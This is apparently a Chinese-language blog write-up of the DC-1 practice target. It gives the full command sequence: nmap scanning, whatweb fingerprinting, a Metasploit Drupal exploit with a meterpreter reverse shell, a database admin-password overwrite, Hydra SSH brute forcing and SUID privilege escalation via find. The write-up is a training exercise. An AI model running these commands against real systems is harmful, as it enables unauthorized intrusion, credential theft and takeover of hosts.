DC-提权靶机

简介

学习web怎么可以少了对靶机的攻击呢,渗透方向的学习必须要有靶机攻击的基础,前几天看到一篇文章发现DC系列正好可以来训练自己的水平和对工具的理解和使用

平台

攻击机 kali2024.3
靶机 DC系列

具体攻击

DC-1

信息收集

目标机ip

在利用ifconfig了解知道自己的ip为192.168.56.135后利用nmap扫描同网段存活主机

nmap -sP 192.168.56.135/24

也可以利用arp-scan:

arp-scan -l

获取到目标机ip为192.168.56.146

端口扫描

nmap -A 192.168.56.146,详细扫描了对应的服务和版本

目标访问

我们发现存在80端口,利用web访问这个ip地址发现登录页面

利用目录扫描工具,查看这个ip的目录文件

指纹识别

利用whatweb工具识别web服务器的指纹,在火狐上面有个好用的工具叫做wapper,也可以查看对应的cms服务,不过可能需要网速比较快才好

whatweb -v 192.168.56.146,扫描到主要的系统版本,服务号和php版本

wapper:

发现CMS为Drupal,版本为7

漏洞利用

发现cms便可以尝试一下msf来使用现成的攻击模块了

msfconsole获取session

msfconsole ,利用search命令搜索cms的漏洞
search Drupal

发现序号为1的可以使用,我们完成设定好攻击模块的各个参数
use 1
show payloads

我们发现,这些payload和前面出现的tcp端口可能有关系所以选择payload为php/meterpreter/reverse_tcp
set payload php/meterpreter/reverse_tcp
show options

yes为必填大部分已经完成我们设计好攻击机ip,RHOSTS即可
set rhosts 192.168.56.146
exploit

执行完成获取session

获取shell登录sql

获取DC-1的信息和shell,运用python反弹,获取更好的交互
sysinfo shell
python -c “import pty;pty.spawn(‘/bin/bash’)”

ls+cat查看flag1

利用find . -name “set*”查找set文件
发现settings文件,查看文件,发现flag和数据库信息

使用数据库账户和密码来登录数据库
mysql -udbuser -pR0ck3t

show databases;查看数据库

use drupaldb; show tables;查看表,发现users表

看表select * from users;看表结构desc users;
发现name和pass列

覆盖admin密码登录

查看加密方式,搜索文件, find . -name “password*”

查看password-hash.sh,发现为php加密文件,了解发现是使用 Drupal 的密码算法(基于 PBKDF2 和可配置的工作因子)生成一个加盐的安全哈希,没能力搞不懂我们用它来生成一个密码的哈希值,然后用这个哈希值去覆盖来登录
php ./scripts/password-hash.sh 123456

hash: $S$Dyi0o5A9rq9O4imggBtz.INzLGWgqCjo67vC15JYgHjEVtkpdV/F
覆盖admin的密码
mysql>update users set pass=”$S$Dyi0o5A9rq9O4imggBtz.INzLGWgqCjo67vC15JYgHjEVtkpdV/F” where name=”admin”;

成功登录,之后再dashborad中发现falg3

获取flag4,爆破密码

查看etc/passwd,发现falg4的账户,查询falg4的home目录

,这次发现需要root目录,而且让我们爆破了

我们也有可能无法访问/home/flag4/flag4.txt,可以用hydra工具来爆破flag4的密码,发现密码是,orange
hydra -l flag4 -P /usr/share/john/password.lst 192.168.56.146 ssh

提权

suid提权

查找一个属于root的拥有s权限的文件

  • SUID(Set User ID),SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。

常见的可用于 SUID 提权的文件有:

find、bash、nmap、vim、more、less、nano、cp
//当没有s权限时可以使用:chmod u+s 命令路径,增加权限

查找哪些命令具备 SUID 标识

find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

发现find文件

使用find文件来提权:
利用 find 命令随便查找一个正确的文件(夹)路径,后面加上 -exec shell 命令 ;
提权 /bin/bash 或者 /bin/sh

最后完成flag获取

总结

DC-1虽然还是比较简单,但是流程也比较长在此做一个总结,DC-1靶机主要考察了信息收集、漏洞利用、权限提升、提权等基本知识。
数据库的操作,suid提权,hydra爆破ssh端口,这些都是我之前没有接触过的跟着流程走一边还是挺好的


DC-提权靶机
https://fogpost.top/2024/11/19/DC-提权靶机/
作者
fogpost
发布于
2024年11月19日
许可协议